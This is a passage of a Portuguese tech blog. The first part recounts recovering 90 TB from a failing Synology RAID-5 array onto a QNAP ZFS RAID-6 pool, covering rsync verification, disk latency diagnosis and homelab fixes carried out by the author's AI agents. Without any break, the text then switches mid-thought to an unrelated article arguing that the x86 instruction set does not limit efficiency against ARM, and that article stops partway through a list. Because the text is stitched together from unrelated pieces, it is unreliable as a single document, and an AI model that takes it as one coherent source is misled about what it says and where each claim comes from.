Os da marca são discos de Seagate, Toshiba e WD rebatizados com firmware próprio, e quem usasse outro ficava sem criar pool, sem monitoramento de saúde, sem deduplicação e sem atualização de firmware. Depois da gritaria, voltou atrás no DSM 7.3 e liberou HD e SSD SATA de outras marcas.

Só que pool em M.2 continua exigindo a lista de compatibilidade. Ficou a incerteza no ar: o que impede de fazerem de novo?

Configurar o QNAP é muito fácil. O QuTS hero, o sistema deles baseado em ZFS, é tão simples de usar quanto o DSM da Synology.

Corrigindo o meu erro: RAID-6 e ZFS

Dessa vez eu sabia que tinha que configurar em RAID-6, que aguenta dois discos falhando ao mesmo tempo. A desvantagem é menos capacidade total, porque o equivalente a dois discos vira paridade em vez de um. A vantagem é que eu não deveria mais passar por uma emergência como esta.

Um dos pontos fortes da QNAP é suportar ZFS de fábrica, bem integrado e fácil de usar.

Pra quem não conhece: o ZFS nasceu na Sun Microsystems, pro Solaris, em meados dos anos 2000, e hoje vive como OpenZFS em Linux e FreeBSD. Ele junta num sistema só o que antes eram três camadas, o RAID, o gerenciador de volumes e o sistema de arquivos. Guarda um checksum de cada bloco, então percebe quando o disco devolve dado corrompido sem avisar, e conserta sozinho a partir da paridade. E nunca sobrescreve dado no lugar: toda escrita vai pra um bloco novo, o que torna snapshot praticamente gratuito.

A fama de devorador de RAM vem de duas coisas. A primeira é o ARC, o cache dele, que por desenho ocupa quase toda a memória livre da máquina. Isso assusta quem olha o gráfico, mas é cache: ele devolve a memória quando outro processo pede. A segunda é a desduplicação, que mantém uma tabela enorme com o hash de cada bloco e precisa dela na RAM pra não ficar inutilizável de tão lenta. A velha regra de “1 GB de RAM por TB de disco” vem daí, e só vale pra quem liga desduplicação.

Mesmo sem ela, ZFS pesa mais que um ext4 ou um Btrfs simples. Calcular checksum, compressão e paridade dupla de cada bloco gasta CPU, e com pouca memória o cache encolhe e tudo fica lento. Em hardware fraco, tipo um NAS de entrada com processador ARM e 2 GB de RAM, ele sofre.

A QNAP pede no mínimo 8 GB pro QuTS hero. O meu veio com 8 GB e um Ryzen de quatro núcleos, o que serve pro meu uso, que é guardar arquivo grande e servir pela rede. Desduplicação fica desligada.

Comprei 10 discos pra um NAS de 8 baias, então sobram dois na gaveta, de reserva, pro dia em que um falhar.

Pra minha configuração simples, três ajustes:

• Over-provisioning de 5%. É um pedaço do pool que o sistema reserva e nunca entrega pra dado. ZFS escreve sempre em espaço novo e fica lento quando o pool enche perto do limite; essa folga mantém o desempenho estável. Em pool de SSD ela também prolonga a vida útil, mas aqui são HDs, então o mínimo já serve.
• Espaço garantido de snapshot de 5%. É a reserva pra snapshot, as “fotos” do estado dos arquivos que permitem voltar atrás num apagão ou num ransomware. Garantir o espaço significa que os snapshots continuam existindo mesmo que eu encha o resto. Meus dados mudam pouco (é arquivo morto, na maior parte), então snapshot ocupa quase nada e 5% sobra.
• Alerta em 85%. O sistema me avisa quando o pool passar de 85% de uso, com folga pra eu agir antes de bater no teto. Foi exatamente a falta de folga que me fez sair trocando disco às pressas no Synology.

Somando as duas reservas, uns 13 TB ficam separados e sobram 112,9 TB pra uso.

Um detalhe do meu caso: estou copiando os 90 TB com os snapshots desligados, e só ligo o agendamento depois que a cópia terminar. Snapshot protege o estado anterior de um arquivo, e num NAS vazio que está recebendo a primeira carga não existe estado anterior que valha proteger. A fonte da verdade ainda é o Synology.

E tem um custo prático. Eu parei e recomecei o job várias vezes, apaguei pasta que tinha entrado por engano e copiei de novo. Com snapshot ligado, cada coisa apagada continuaria ocupando espaço dentro de algum snapshot, e eu estaria enchendo o pool com lixo da própria migração. Quando tudo estiver do lado de cá e conferido, aí sim: snapshot agendado, pra me proteger de apagar o que não devia e de ransomware.

Depois disso criei uma partição gigante “thick”. Em ZFS dá pra criar pasta “thin”, que só ocupa o que tem dentro e pode prometer mais espaço do que existe, ou “thick”, que reserva o tamanho inteiro na criação. Como é um pool com um dono só e um uso só, thick é mais previsível: o espaço é meu e ninguém compete por ele.

Por fim, criei os compartilhamentos e instalei o app HBS 3.

Copiando 90 TB

O HBS 3 (Hybrid Backup Sync) é o aplicativo da QNAP pra backup e sincronização. Ele conecta em outro NAS, em rsync, em FTP, em SMB ou em nuvem.

Conectei no compartilhamento SMB do Synology e mandei sincronizar tudo.

Tive que parar e recomeçar algumas vezes, mexendo nas configurações do job, porque estava absurdamente lento. E a contagem de arquivos não parava de crescer:

865 TB num NAS de 108 TB, e aí eu entendi o que estava acontecendo.

Excluí dois tipos de caminho do job:

• Os diretórios #snapshot. No Synology, quando você marca “tornar snapshot visível”, cada pasta compartilhada ganha uma subpasta #snapshot com uma visão completa da pasta em cada ponto no tempo. Dentro do Synology isso não ocupa espaço, porque snapshot só guarda a diferença. Visto de fora, por SMB, cada snapshot parece uma cópia inteira de tudo, e o HBS estava tentando copiar todas.
• Os diretórios de backup do restic. O restic guarda tudo em centenas de milhares de arquivos de pack de poucos megabytes cada. Cópia por rede é rápida com arquivo grande e sofre com arquivo pequeno, porque cada um custa abertura, metadado e fechamento. E esses backups eu refaço do zero no NAS novo.

Com isso a vazão subiu pra uma média de 400 MB/s.

Isso é menos da metade do que uma rede 10 GbE entrega, mas é mais de três vezes o gigabit que a maioria das pessoas tem em casa. Os dois lados estão de fato a 10 gigabits:

Por que não chega nos 1.000 MB/s? Minha hipótese principal é o disco 8. O array de origem está degradado, e cada leitura que passa pelos pedaços afetados precisa ser recalculada a partir da paridade, com um disco que ainda por cima devolve erro e repete tentativa. Faz sentido o Synology não conseguir ir mais rápido que isso.

Tem um segundo fator, que os meus próprios prints entregam: o Synology está com jumbo frame (MTU 9000), e a imagem do QNAP mostra o MTU padrão de 1500. Esse print é de antes; eu já mudei o QNAP pra 9000 também.

Por que isso importa: MTU é o tamanho máximo de cada pacote que trafega na rede. No padrão de 1500 bytes, encher um link de 10 gigabits significa processar mais de 800 mil pacotes por segundo, e cada pacote custa CPU dos dois lados, com cabeçalho, checksum e interrupção. Com jumbo frame cada pacote carrega seis vezes mais dado, então é um sexto dos pacotes pro mesmo volume, e sobra processador pra mover arquivo. Só funciona se todo mundo no caminho estiver igual: as duas placas e o switch. Se um lado fica em 1500, a conexão negocia pelo menor e o jumbo frame do outro lado não serve de nada.

A 400 MB/s, 90 TB levam uns dois dias e meio, e eu prefiro dois dias e meio garantidos.

O que a Synology explicou

Em paralelo, abri um chamado no suporte da Synology. Depois de algumas trocas, mandei os logs. Responderam rápido, no mesmo dia, e isso eu reconheço. A explicação do engenheiro, resumida:

• O disco 8 vinha registrando erro de mídia há mais de um mês. Erro de mídia é quando o NAS manda ler um setor e o disco responde que não conseguiu, mesmo tentando várias vezes. É sempre falha interna do disco, e ele deveria ter sido trocado.
• Foi a saúde ruim do disco 8 que o derrubou durante a reconstrução do disco 1.
• Na prática eu perdi dois discos, e o pool deveria ter caído por completo. Não caiu por causa do jeito como o SHR funciona.

O SHR não é um RAID-5 só. Pra aproveitar discos de tamanhos diferentes sem desperdiçar espaço, ele fatia os discos e monta vários RAIDs menores, um por faixa de tamanho, e junta tudo num volume. O engenheiro mandou este diagrama de exemplo:

No meu caso, o pool é feito de duas partições. Na primeira, a reconstrução do disco 1 já tinha avançado o bastante e a falha do disco 8 foi leve o bastante pra que os dois continuassem funcionando. Na segunda, os dois estão ausentes. É por isso que o pool não caiu inteiro e eu ainda enxergo os arquivos.

A recomendação dele foi a que eu já estava seguindo: copiar tudo pra fora antes de qualquer outra coisa, porque não dá pra saber se a situação piora nem se tem conserto. Depois do backup ele até pode tentar forçar o disco 8 de volta pro pool pra reconstrução continuar, mas não há garantia de que o disco aceite, nem de que aguente o processo. Nas palavras dele, copiar e recriar o pool do zero é provavelmente o caminho mais rápido.

RAID-5 clássico, aliás, exige todos os discos do mesmo tamanho, e pra aumentar a capacidade eu teria que trocar todos de uma vez. O SHR foi o que me permitiu ir trocando um por vez ao longo dos anos. Por ironia, foi também o que me salvou de perder tudo de uma vez.

Os dois erros

Do jeito que eu entendi, são dois erros, um meu e um deles, e é aí que mora o desastre inteiro.

O meu: subestimei o RAID-6, que na Synology se chama SHR-2. Com dois discos de paridade, a falha do disco 8 no meio da reconstrução seria só um susto. Eu troquei segurança por 20 TB de espaço e passei cinco anos achando que tinha feito bom negócio.

O deles: pelos logs, o software sabia que o disco 8 estava falhando havia pelo menos um mês, e eu nunca recebi notificação nenhuma. Eu tenho notificação por e-mail configurada. E ela funciona: quando a situação crítica estourou, recebi uma enxurrada de e-mails. Este aqui, sobre os setores ruins do disco 8, chegou à uma da tarde de segunda, cinco horas depois do desastre:

Antes disso, nada. Nenhum aviso sobre o disco 8 até ele falhar de forma catastrófica.

Se eu tivesse recebido, jamais teria tentado trocar o disco 1 antes de substituir o 8. A situação toda era evitável, e foi resultado de um erro humano somado a algum bug de software.

Esse é o outro motivo de eu não ter comprado outra Synology. Tenho um princípio: se o cavalo me derruba, eu sacrifico o cavalo. Não dá pra confiar de novo.

Onde estou agora

Até aqui copiei uns 20 TB dos 90 TB originais, e o HBS 3 segue trabalhando. Ainda não sei se perdi algum dado de forma permanente. Espero que não, mas o mais provável é que eu tenha perdido o que estava na fatia de RAID que o engenheiro descreveu como caída.

Tenho backup offsite no AWS Glacier do que é mais importante, mas não de tudo.

Muita gente pergunta por que eu não uso S3 ou outro armazenamento em nuvem pra tudo. Devolvo a pergunta: pensa por dez segundos. Quanto tempo leva pra transferir 90 TB pela sua internet? Faz a conta:

• Com 1 gigabit de upload cravado, sem cair um segundo: mais de 8 dias.
• Com 500 megabits: quase 17 dias.
• Com 100 megabits, que é upload bom pra muita casa: 83 dias.

E isso é pra subir. Na hora do desastre você precisa baixar tudo de volta, com o relógio correndo. Sem contar o aluguel: 90 TB em S3 padrão custam uns US$ 2 mil por mês no preço de tabela. Nuvem é ótima pro subconjunto crítico, que é como eu uso. Pro acervo inteiro, a física e a fatura não deixam.

Lições

Fui colocado numa situação impossível numa segunda de manhã, agi na hora do melhor jeito que consegui, e provavelmente vou sair dessa quase ileso. Vamos ver, o HBS 3 ainda está sincronizando. O que eu levo disso:

1. Paridade simples não basta pra disco grande. Com discos de 20 TB, a reconstrução leva dias e lê tudo. É nesse intervalo que o segundo disco costuma aparecer. RAID-6, SHR-2 ou RAIDZ2.
2. Não confie só na notificação do fabricante. Olhe o SMART e o log dos discos antes de começar qualquer troca. Eu não olhei, porque confiava que seria avisado.
3. Troque primeiro o disco doente, depois o disco pequeno. Upgrade de capacidade em array com disco suspeito é roleta.
4. Deixe folga. Eu estava trocando disco porque o volume estava no teto. Alerta em 85% existe pra isso.
5. Tenha pra onde copiar. A minha saída custou R$ 185 mil porque eu não tinha plano B. Um segundo NAS, mesmo modesto, com o que importa, teria me dado tempo pra comprar com calma.
6. RAID não é backup. Eu sei disso, ensino isso, e mesmo assim só tinha offsite de uma parte.

A cópia terminou e eu já sei o tamanho do estrago: zero. A recuperação completa vem a seguir.

Seis dias depois: o final da história

Quando publiquei a primeira parte, eu tinha uns 20 TB copiados e nenhuma certeza. O desfecho: terminei de evacuar os ~91 TB, verifiquei arquivo por arquivo, e não perdi nada por acidente. Nem o que estava na fatia de RAID caída, porque ela continuou legível até o fim.

Quem operou a recuperação foram os meus dois agentes. O agente do desktop controla meu PC e os dois NAS por SSH, e o agente do homelab cuida do servidor onde rodam meus 57 containers. Os dois se coordenam por mensagem: um deixa relatório na caixa do outro, e eu acompanho a conversa.

Essa parte importa porque nada do que vem a seguir foi eu digitando comando. Eu tomei as decisões; eles executaram, mediram e erraram feio algumas vezes, como você vai ver.

O HBS 3 estava me traindo quieto

Na primeira parte eu contei que o HBS 3, puxando os compartilhamentos do Synology por CIFS, chegou a 400 MB/s depois dos ajustes. O que eu não sabia: velocidade era o menor dos problemas dele.

Dois defeitos apareceram quando o agente conferiu o inventário da origem contra o que o HBS reportava:

• Ele não entrava onde não tinha permissão e não contava pra ninguém. O HBS monta o Synology como o meu usuário. O diretório Bitcoin/data, 901 GB com a wallet e o chainstate do meu nó, pertence ao uid 101 e é fechado pra qualquer outro. O CIFS não conseguia entrar ali, e o HBS reportava sucesso sem registrar a omissão. Um backup “verde” que deixa o nó de Bitcoin inteiro pra trás.
• Ele pulava arquivos com nome “não suportado”. 113 arquivos, registrados só numa tela de detalhe que ninguém abre durante uma cópia de dias.

Ferramenta de backup que reporta sucesso omitindo o que não conseguiu ler é pior que uma que falha gritando. Verifique o backup contra um inventário independente da origem, nunca contra o log da própria ferramenta.

Abandonamos o HBS. O agente abriu SSH nos dois NAS, habilitou o servidor rsync no QNAP e o Synology passou a empurrar direto pro rsyncd dele, sem nada passar pelo PC. O wrapper de cada job: rsync -a --numeric-ids -W --partial --timeout=600, tentativas com retry, e nunca --delete. O --numeric-ids preservou os uids originais sem precisar de chown depois, o --partial fez qualquer interrupção virar continuação, e a ausência de --delete fez do destino sempre um superconjunto: re-shardar ou matar um job nunca custava dados.

O gargalo não era o disco quebrado

Um contexto que faltou na primeira parte. Esse Synology nasceu com oito Seagate IronWolf de linha consumidora, e eu vinha trocando um por um por IronWolf Pro de 20 TB ao longo dos anos. A desgraça aconteceu exatamente num desses upgrades: eu troquei o disco 1 pelo Pro novo e, durante a reconstrução, o disco 8 falhou. Sobrou um único disco antigo no array: o disco 2.

E foi ele, não o disco 8, o gargalo da evacuação. Medido sob carga:

• Disco 2 (o consumidor antigo, com 37 mil horas de uso): 91% de utilização, entregando 27 MB/s, cada I/O demorando 4 a 15 vezes mais que os irmãos.
• Os seis Pro: entre 34% e 45% de utilização, parados esperando ele.

Em RAID-5 (e no SHR), uma leitura sequencial atravessa o stripe inteiro, e o stripe só completa quando o membro mais lento responde. Um disco lento limita o array inteiro: por causa dele, o array não passava de uns 200 MB/s enquanto seis discos bons sobravam. E o SMART dele estava limpo, zero setores realocados. Disco consumidor costuma vir sem limitação de tempo de recuperação de erro (ERC/TLER) ativa, então ele tenta reler setor marginal por segundos, internamente, sem contabilizar nada. O cache NVMe do Synology desviava parte da leitura dos pratos e ajudava a maquiar o sintoma.

O disco que falha e o disco que te atrasa não precisam ser o mesmo, e SMART “PASSED” não diz nada sobre latência. Array lento se diagnostica com utilização e tempo de resposta por disco, não com SMART.

Paralelizar rsync é ciência, não chute

Primeiro instinto: mais streams. Errado, e por duas vezes.

Na primeira, um bug nosso: um relançamento “limpo” de jobs não matou nada, porque o ps do busybox do Synology trunca a linha de comando e o grep de verificação não achou os processos velhos. Resultado: 32 rsyncs rodando pra 7 destinos, quatro a cinco escritores por árvore, o QNAP com os buffers de recepção entalados, e o cabo transmitindo 516 MB/s enquanto o array lia 140. Depois da limpeza (enumerando /proc/*/cmdline, nunca mais confiando no ps), a vazão útil subiu de 140 pra 181 MB/s com a carga total desabando.

Na segunda, a medida inverteu o senso comum: com árvores de arquivo grande, menos streams eram mais rápidos, porque o tamanho médio de cada requisição de leitura triplicava e o array fazia corridas sequenciais longas em vez de ficar pulando de posição.

Só que árvore de arquivo pequeno é outro esporte. O TERACHAD/Emulators tem 21 TB em 3,4 milhões de arquivos com média de 6 MB: trabalho limitado por latência (stat, criação, metadados), não por banda. E ali a paralelização agressiva funcionou, com um detalhe: o shard certo se escolhe por contagem de arquivos, não por tamanho. Um único diretório, ROMS_FINAL/xbox-hdd-ready, segurava 995 mil dos 1,59 milhão de arquivos do ROMS_FINAL, com média de 1,7 MB por arquivo. Isolando ele dos ISOs multi-gigabyte:

De 2,8 a 3,2 vezes a vazão média do stream único, na mesma máquina, na mesma rede. E tem um motivo bonito: com o array faltando um membro, leituras de dados que não moram no disco 2 não precisam dele, então a concorrência extra deixava os outros discos trabalharem enquanto ele engasgava.

“Mais paralelismo” e “menos paralelismo” são as duas respostas erradas como regra geral. Trabalho limitado por banda se divide pouco; trabalho limitado por latência se divide muito, e por contagem de arquivos. Meça antes de escolher.

Copiar é metade do trabalho; provar é a outra metade

Cada job que terminava passava por um dry-run do mesmo rsync, com os mesmos excludes: zero arquivos precisando transferência significa destino idêntico por tamanho e data. E mesmo assim quase deu errado, porque a verificação herdava os excludes da cópia: uma árvore excluída da transferência ficava excluída da própria prova. Refazendo a checagem sem excludes, apareceram 952 arquivos e 191 GB faltando no Downloads (exatamente os lotes que eu tinha separado como “única cópia existente”) e os repositórios restic antigos, que um nome de diretório parecido no QNAP fingia cobrir: o ID interno dos repositórios provou que eram outros, não cópias.

Teve também deriva de origem: uma árvore verificada como completa recebeu 16 GB de checkpoints novos no Synology depois da checagem, e só a re-verificação final pegou. Verificação tem prazo de validade.

E uma decisão consciente, registrada pra ninguém me acusar de esconder: os históricos antigos de backup (uns 2 TB de snapshots restic e um set de duplicity de 2025) ficaram pra trás por escolha minha, porque os repositórios novos no QNAP já cobrem o mesmo conteúdo a partir de agora. Perda deliberada de histórico, não de dado.

Fecho da conta: 17 jobs de rsync, todos exit 0, todos verificados, uns 5,9 milhões de arquivos byte-idênticos, e o desligamento do Synology só aconteceu depois de cada árvore provada.

Enquanto isso, no homelab

Do outro lado da casa, o servidor marvin, que monta o NAS por NFS e roda os 57 containers, quase morreu de pé. NAS morto mais montagem NFS “hard” mais 57 containers reiniciando sozinhos deu uma fila infinita de I/O ininterruptível: a máquina respondia ping, mas o sshd não conseguia completar um handshake. E cada tentativa insistente de SSH só piorava, porque o OpenSSH pune fonte repetitiva aumentando o banimento. A gente batia na porta e a porta aumentava a tranca.

A saída foi parar de bater: pausei os torrents pela API do qBittorrent (que continuava respondendo), fui no console físico, desabilitei o Docker, reinicie, e o servidor voltou. Um watchdog que eu nem lembrava que existia tinha, sozinho, derrubado os 14 containers dependentes do NAS antes de qualquer banco corromper: o LevelDB do bitcoind abriu limpo na primeira tentativa.

A migração em si foi elegante: o fstab apontou pro QNAP e os pontos de montagem antigos viraram symlinks pra dentro do novo. Nenhum docker-compose mudou. Aí veio a pegadinha do NFS da QNAP: permissão é por cliente. O desktop estava liberado sem squash, mas as escritas do marvin caíam como uid 1001, bloqueando tudo que escreve no NAS. A primeira tentativa de correção ainda virou a montagem pra read-only no meio do primeiro backup restic, que sobreviveu na base do retry. Configuração final: leitura e escrita, sem squash pra ninguém, testada com touch e ls -ln de cada cliente, porque “funcionou no desktop” não prova nada sobre o servidor.

Depois disso foi ressurreição árvore por árvore: cada serviço só subia quando a árvore dele estava verificada no QNAP. Em dois dias, 57 de 57 containers de volta, e um backup restic novinho rodando diariamente pro QNAP.

O kernel novo derrubou o NVMe

No meio da recuperação, um susto de graça do servidor. Sete minutos depois do backup noturno começar, o controlador NVMe sumiu em silêncio: todo binário tomou SIGBUS, Docker e sshd morreram, e nada restou gravado em lugar nenhum, porque o log mora no dispositivo que morreu. Nem kernel panic: só silêncio.

O mesmo workload tinha rodado bem horas antes no kernel 7.2.6 e morreu no 7.2.9. Desligar o APST (o gerenciamento de energia do NVMe) não resolveu: segunda queda idêntica, regressão do 7.2.9 confirmada por eliminação. O MicroOS é transacional e baseado em snapshot, então o rollback foi um reboot pra linhagem 7.2.6, não uma reinstalação. As atualizações automáticas ficaram propositalmente quebradas naquela linhagem pra ninguém voltar pro 7.2.9 sem supervisão, e o teste do 7.2.8 fica pra quando eu puder sentar do lado.

Sistema operacional transacional transforma regressão de kernel em reboot. Sem snapshot de sistema, essa noite teria custado muito mais caro.

O susto do thick provisioning

No QNAP, a cópia inteira rodou sem snapshot nenhum: numa migração em massa, snapshot é peso morto. Terminada a cópia, fui ligar a agenda de snapshots do ZFS e tomei um erro seco: “pool free space is not enough”. Com 20 TB livres.

As duas afirmações eram verdade sobre coisas diferentes. A pasta CHAD tinha sido criada como thick: dos 100 TB de quota, o ZFS reserva os 100 TB, e pra tirar snapshot de um dataset com reserva, o pool precisa garantir espaço pra sobrescrever todos os blocos referenciados enquanto o snapshot prende as cópias velhas. Na conta: 80 TB escritos mais 100 TB reservados, contra 126 TB utilizáveis do pool. Não fecha. E o df mente dos dois lados, porque mede a pasta contra a quota, não contra o pool.

A correção foi converter a pasta pra thin, que o QuTS hero faz in-place, escondido na tela de Management da pasta, não no diálogo de edição onde “Thick” parece texto estático. Em thin, o número vira teto em vez de reserva: a reserva de 10 TB evaporou, o pool passou a ter 39 TB livres, e o primeiro snapshot saiu consumindo 334 KB sobre 79,9 TB referenciados. O ZFS não precisava de quase nada; a reserva é que exigia garantia de 100 TB pra autorizar.

Agora o QNAP tem agenda de snapshots com política de retenção, como devia ser desde o primeiro dia:

Duas notas de rodapé pra quem montar um desses. Se a sua pasta thin tiver alerta de 80%, suba a quota pra folga estética, porque o alerta mede contra a quota e não contra o pool. E o gargalo real desse QNAP é RAM: 7 GB pra um pool de 174 TB. O mínimo oficial do QuTS hero é 8 GB, e a prática recomendada pra esse porte é 16 pra cima. O tamanho do cache ARC governa a velocidade de metadados, e foi por isso que as varreduras de árvore inteira durante a migração eram lentas. Upgrade de RAM vale mais que qualquer ajuste fino.

O Synology nasce de novo

Com tudo verificado no QNAP, o Synology finalmente pôde ser operado. Troquei os discos 2 e 8 por IronWolf Pro novos, apaguei o pool ferido e recriei do zero, desta vez em SHR-2, o modo com dois discos de paridade, o RAID-6 deles. O pool novo saiu com 100 TB, todos os discos saudáveis:

Ele volta a trabalhar como alvo de réplica, e não mais como ponto único de falha. O QNAP segue como principal, em RAIDZ2, com 87 TB dos 126 TB usados e os snapshots agendados:

O que eu levo da segunda metade

1. Desconfie do sucesso silencioso. O HBS reportava verde enquanto deixava 901 GB pra trás. Backup se verifica contra inventário da origem.
2. SMART não mede lentidão. O disco que quase matou a evacuação estava “saudável”. Utilização e latência por disco contam a verdade.
3. Paralelismo se calibra medindo. Bandwidth-bound divide pouco, latency-bound divide muito, e o shard se escolhe por contagem de arquivos.
4. Verificação não herda exclude. Se a prova usa os mesmos filtros da cópia, ela só reafirma as suposições da cópia. E verifique de novo imediatamente antes de destruir a origem.
5. Permissão de NFS é por cliente. Teste escrita de cada máquina que vai usar.
6. Não bata repetidamente num sshd morrendo. Cada tentativa alonga o banimento. Uma tentativa paciente, ou console físico.
7. O reparo perigoso vem por último. O array ficou degradado e lento até o último byte estar provado em outro lugar; só então reconstruir deixou de custar qualquer coisa.

Saí dessa melhor protegido do que entrei: dois NAS, cada um com seu RAID-6, snapshots agendados no QNAP, restic diário, e o Glacier pro que é crítico. O desastre me custou um QNAP, dois discos e uma semana. Podia ter custado 90 TB.

Minha tese: isso era verdade gerações atrás, quando decodificar x86 custava uma fatia relevante da pastilha (o die). Hoje o x86 é, na prática, uma camada de tradução pra micro-instruções — e o que separa Apple, Qualcomm e Intel nunca foi o conjunto de instruções. A crise da Intel foi gerencial e de fábrica, não arquitetural. E é por isso que a volta dela, agora, faz sentido.

O que os reviews mostram

Os laptops Panther Lake (Core Ultra série 3, lançados na CES em 5 de janeiro e à venda desde 27 de janeiro) entregam números que a era Meteor/Arrow Lake não sonhava. Começando por bateria — Dell XPS 14 2026 (Core Ultra X7 358H) contra MacBook Air 15 (M5):

Leitura honesta: em uso leve, o Dell empata ou passa; em carga sustentada, a Apple continua imbatível. E o DHH publicou que seu XPS 14 rodando Omarchy Linux passa de 16 horas de uso real, com consumo em repouso de 1,4W — a Dell fez questão de suporte a Linux desde o dia um.

Na CPU, o topo de linha Core Ultra X9 388H contra o M5 (dados da Notebookcheck):

Single-core continua território da Apple, que faz o mesmo trabalho com um terço da energia. Mas em multi-core moderado, a Intel encostou. Contra a AMD (Ryzen AI 9 465) o 388H ganha em tudo; contra o Snapdragon X Elite de primeira geração também; o X2 Elite Extreme, que chegou em 2026, já devolveu a coroa de CPU Windows pra Qualcomm (+24% em single-core). Honestidade acima de tudo.

Na GPU, o veredito é mais misto que o marketing da Intel sugere:

O resumo da Ars Technica é o mais justo: “o melhor CPU de laptop da Intel em muito tempo” — com a ressalva de que a Intel precisa provar que isso é o novo normal, não uma aberração.

Pra guardar: bateria de MacBook num laptop x86 aconteceu — em uso leve. Em single-core e sob carga pesada, a Apple ainda dita o ritmo.

A crença: “pra ser eficiente tem que ser ARM”

Todo programador já ouviu a explicação: ARM tem conjunto de instruções simples, de tamanho fixo, elegante. O x86 é uma quimera acumulada desde 1978, com instruções de tamanho variável, modo real, segmentação, décadas de bagunça. “Portanto” ARM é inerentemente mais eficiente, e o caminho pra qualquer um chegar na eficiência da Apple ou da Qualcomm é migrar pra ARM64.

Tem verdade aí: o x86 carrega entulho histórico, e decodificar instrução de tamanho variável é objetivamente mais chato que decodificar instrução fixa de 32 bits. O erro está na conclusão. Essa diferença importava quando a lógica de decodificação ocupava uma fração significativa do chip. Isso faz muito tempo.

Pra guardar: a diferença entre ISAs importava quando a decodificação ocupava uma fração relevante da pastilha. Isso acabou há gerações.

O x86 virou camada de tradução em 1995

O Pentium Pro, de novembro de 1995, já não executava x86 diretamente: ele traduzia cada instrução CISC pra micro-operações internas estilo RISC e executava essas. A AMD fez o mesmo com o K5 em 1996 (as “ROPs”). Ou seja: faz trinta anos que “executar x86” significa “traduzir pra outra coisa e executar a outra coisa”. O x86 é uma interface de compatibilidade, uma camada de tradução sobre um motor RISC. E os números mostram o quanto essa camada ficou barata:

Quando o cache de micro-ops acerta, o hardware de busca e decodificação fica literalmente desligado. A conclusão do estudo da Hirki é seca: “o conjunto de instruções x86-64 não é um obstáculo relevante pra produzir um processador energeticamente eficiente”. E o estudo acadêmico definitivo — Blem, Menon e Sankaralingam, HPCA 2013, medindo ARM contra x86 de verdade — concluiu: contagem e composição de instruções são independentes do ISA em primeira ordem, as diferenças de performance vêm de microarquitetura, e “o consumo de energia é, novamente, independente do ISA”.

O Jim Keller — o cara que desenhou o Zen da AMD e os chips A4/A5 da Apple, alguém que morou nos dois lados — foi ainda mais direto numa entrevista à AnandTech: a decodificação de tamanho variável “não está dominando a pastilha, então não importa tanto”. O que limita performance hoje, segundo ele, é previsibilidade de branch e localidade de dados.

E tem o detalhe que derruba o mito de vez: ARM moderno faz a mesma coisa. O Cortex-A77 tem cache de micro-ops. A Samsung adicionou um no Exynos M5 explicitamente pra economizar energia de busca e decodificação. O A64FX da Fujitsu — o ARM dentro do supercomputador Fugaku — decodifica a instrução SVE FADDA em 63 micro-ops. Sessenta e três. A fantasia do “ARM é uma instrução por ciclo, simples e pura” não existe mais em nenhum ARM de alto desempenho.

Uma nuance honesta antes de seguir: o comprimento variável do x86 realmente dificulta fazer decodificadores muito largos — a Apple decodifica até o dobro de instruções por ciclo que um x86. É uma dificuldade de engenharia real. Só que ela se paga em área de lógica, que é barata, e não em consumo proporcional ao trabalho — que é o que define bateria.

Pra guardar: faz trinta anos que nenhum x86 executa x86 — tudo vira micro-operação estilo RISC. O ISA virou interface de compatibilidade.

A conta dos transistores

Pra entender por que o peso da decodificação evaporou, olha a evolução:

Em 2000, cada bloco de lógica era um orçamento apertado, e a bagunça do x86 custava caro. Conforme os transistores ficaram infinitos pra todo fim prático, o custo fixo do decodificador virou troco. No meio do caminho, duas mudanças importantes:

• A escala de Dennard morreu por volta de 2005. Vazamento de corrente impediu que os clocks continuassem subindo, a Intel cancelou o Tejas em 2004 e o mundo virou multicore. Clock parou nos 1-4GHz e nunca mais saiu dali.
• A lei de Moore virou economia, não física. O custo por transistor parou de cair no 28nm: uma fab de ponta hoje custa US$20 a 30 bilhões, e uma máquina High-NA EUV da ASML custa US$350 milhões.

E o que ocupa pastilha e consome energia num chip moderno? Caches gigantes, branch predictors, dezenas de execution ports, GPU, NPU, motores de mídia. O decodificador de x86, na fila do pão, nem aparece.

E a história dá a prova empírica perfeita: de 2015 a 2021, a Intel ficou presa em 14nm — Skylake e seus derivados, seis anos de processo estagnado por falha de fábrica. Mesmo assim, esses cores velhos em 14nm trocavam soco com o Zen 2 da AMD, fabricado em 7nm pela TSMC. Se o x86 fosse o problema, isso seria impossível. O gargalo era a fábrica. Era a fábrica o tempo todo.

Pra guardar: seis anos presa em 14nm, e mesmo assim a Intel competia com chips em 7nm da TSMC. O gargalo era a fábrica, nunca o ISA.

O que realmente faz a Apple ser eficiente

O M1 não é eficiente “porque é ARM”. A Apple tem licença arquitetural da ARM desde o A6, em 2012: ela desenha os próprios cores do zero e só o conjunto de instruções é ARM. Quando a AnandTech dissecou o core Firestorm do M1, o contraste com o x86 contemporâneo era de escolhas de engenharia, não de instruções:

Na prática: o dobro de decodificação por ciclo, quase o dobro de buffer de reordenação, seis vezes o cache de instruções. Some a isso a memória unificada soldada no pacote e o processo TSMC de última geração. É microarquitetura agressiva, cache enorme, integração vertical e processo de ponta — tudo caro, tudo deliberado, e nada disso vem de graça com o ISA.

Aliás, a recíproca também é verdadeira: dá pra fazer ARM ruim. O mercado está cheio de ARM medíocre. Eficiência é escolha de engenharia e de processo, não certidão de nascença do ISA.

Pra guardar: o M1 é eficiente por microarquitetura, cache, processo e integração vertical — não “porque é ARM”.

Suas instruções favoritas não são x86 nem ARM

E tem outra coisa que quase ninguém menciona nesse debate: boa parte do que uma CPU moderna executa não pertence ao conjunto “clássico” de nenhum dos dois lados. Olha o que roda fora dele:

• Vídeo. Na Intel, a decodificação fica no Quick Sync, hardware de função fixa que existe desde Sandy Bridge — um bloco separado que nada tem a ver com o legado x86. É por causa dele que a Frandroid mediu o Snapdragon X2 58% mais lento que o Panther Lake em exportação de vídeo.
• Criptografia. AES-NI existe desde 2010, extensões de SHA desde 2016 — instruções dedicadas, acrescentadas décadas depois do “x86 velho”.
• IA e matrizes. AVX-512, depois AVX10, e o AMX, um acelerador de tiles de matriz. O lado ARM tem os equivalentes: NEON, SVE, SME.

